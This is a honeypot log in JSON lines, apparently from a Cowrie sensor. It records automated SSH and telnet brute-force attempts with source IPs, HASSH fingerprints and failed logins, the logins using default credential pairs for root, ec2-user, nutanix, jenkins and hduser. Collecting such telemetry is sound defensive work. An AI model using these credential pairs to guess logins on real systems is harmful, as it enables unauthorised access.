{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:05.561368Z","src_ip":"192.109.200.237","session":"313c05d600ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54312,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8f15145ba80","protocol":"telnet","message":"New connection: 152.42.224.71:54312 (10.17.0.5:23) [session: c8f15145ba80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:06.271497Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42120,"dst_ip":"159.203.135.109","dst_port":22,"session":"7663f9351207","protocol":"ssh","message":"New connection: 192.109.200.237:42120 (159.203.135.109:22) [session: 7663f9351207]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:07.548673Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:07.553614Z","src_ip":"192.109.200.237","session":"7663f9351207","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:07.639659Z","src_ip":"192.109.200.237","session":"7663f9351207","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"ec2-user","message":"login attempt [ec2-user/ec2-user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:08.084039Z","src_ip":"192.109.200.237","session":"7663f9351207","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:09.169589Z","src_ip":"192.109.200.237","session":"7663f9351207","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":53178,"dst_ip":"159.203.135.109","dst_port":22,"session":"497aa37ff916","protocol":"ssh","message":"New connection: 192.109.200.237:53178 (159.203.135.109:22) [session: 497aa37ff916]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:10.977333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:10.982363Z","src_ip":"192.109.200.237","session":"497aa37ff916","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:11.066311Z","src_ip":"192.109.200.237","session":"497aa37ff916","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pass","message":"login attempt [root/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:11.313274Z","src_ip":"192.109.200.237","session":"497aa37ff916","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:12.399252Z","src_ip":"192.109.200.237","session":"497aa37ff916","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":57510,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0060df3110d","protocol":"ssh","message":"New connection: 80.66.85.226:57510 (10.17.0.5:22) [session: a0060df3110d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:13.348711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:13.358108Z","src_ip":"80.66.85.226","session":"a0060df3110d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:13.450840Z","src_ip":"80.66.85.226","session":"a0060df3110d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"321321321","message":"login attempt [root/321321321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:13.743953Z","src_ip":"80.66.85.226","session":"a0060df3110d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":53190,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e0b162556d2","protocol":"ssh","message":"New connection: 192.109.200.237:53190 (159.203.135.109:22) [session: 5e0b162556d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:14.437342Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:14.443414Z","src_ip":"192.109.200.237","session":"5e0b162556d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:14.534607Z","src_ip":"192.109.200.237","session":"5e0b162556d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nutanix","password":"nutanix/4u","message":"login attempt [nutanix/nutanix/4u] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:14.782606Z","src_ip":"192.109.200.237","session":"5e0b162556d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:14.841127Z","src_ip":"80.66.85.226","session":"a0060df3110d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:15.868608Z","src_ip":"192.109.200.237","session":"5e0b162556d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":53194,"dst_ip":"159.203.135.109","dst_port":22,"session":"30730f33dbbc","protocol":"ssh","message":"New connection: 192.109.200.237:53194 (159.203.135.109:22) [session: 30730f33dbbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:17.808766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:17.817029Z","src_ip":"192.109.200.237","session":"30730f33dbbc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:17.899050Z","src_ip":"192.109.200.237","session":"30730f33dbbc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123456","message":"login attempt [root/Admin@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:18.146258Z","src_ip":"192.109.200.237","session":"30730f33dbbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":119.45573711395264,"message":"Connection lost after 119 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:18.151637Z","src_ip":"152.42.224.71","session":"76b7135d00c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:19.232071Z","src_ip":"192.109.200.237","session":"30730f33dbbc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47680,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb5d7956eb94","protocol":"ssh","message":"New connection: 192.109.200.237:47680 (159.203.135.109:22) [session: fb5d7956eb94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:21.125024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:21.130131Z","src_ip":"192.109.200.237","session":"fb5d7956eb94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:21.212567Z","src_ip":"192.109.200.237","session":"fb5d7956eb94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"jenkins","message":"login attempt [jenkins/jenkins] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:21.460584Z","src_ip":"192.109.200.237","session":"fb5d7956eb94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:22.545425Z","src_ip":"192.109.200.237","session":"fb5d7956eb94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47694,"dst_ip":"159.203.135.109","dst_port":22,"session":"5345ad37dff5","protocol":"ssh","message":"New connection: 192.109.200.237:47694 (159.203.135.109:22) [session: 5345ad37dff5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:24.391387Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:24.397562Z","src_ip":"192.109.200.237","session":"5345ad37dff5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.127.178.212","src_port":55112,"dst_ip":"159.203.135.109","dst_port":23,"session":"1eaf30f7f6d5","protocol":"telnet","message":"New connection: 209.127.178.212:55112 (159.203.135.109:23) [session: 1eaf30f7f6d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:24.474867Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:24.480044Z","src_ip":"192.109.200.237","session":"5345ad37dff5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hduser","password":"hduser","message":"login attempt [hduser/hduser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:24.856403Z","src_ip":"192.109.200.237","session":"5345ad37dff5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:25.942109Z","src_ip":"192.109.200.237","session":"5345ad37dff5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47710,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e42edcb18f1","protocol":"ssh","message":"New connection: 192.109.200.237:47710 (159.203.135.109:22) [session: 6e42edcb18f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:27.805078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:27.810543Z","src_ip":"192.109.200.237","session":"6e42edcb18f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:27.894472Z","src_ip":"192.109.200.237","session":"6e42edcb18f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123","message":"login attempt [root/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:28.149674Z","src_ip":"192.109.200.237","session":"6e42edcb18f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:29.236646Z","src_ip":"192.109.200.237","session":"6e42edcb18f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42016,"dst_ip":"159.203.135.109","dst_port":22,"session":"aedded625beb","protocol":"ssh","message":"New connection: 192.109.200.237:42016 (159.203.135.109:22) [session: aedded625beb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:06:31.295206Z"}
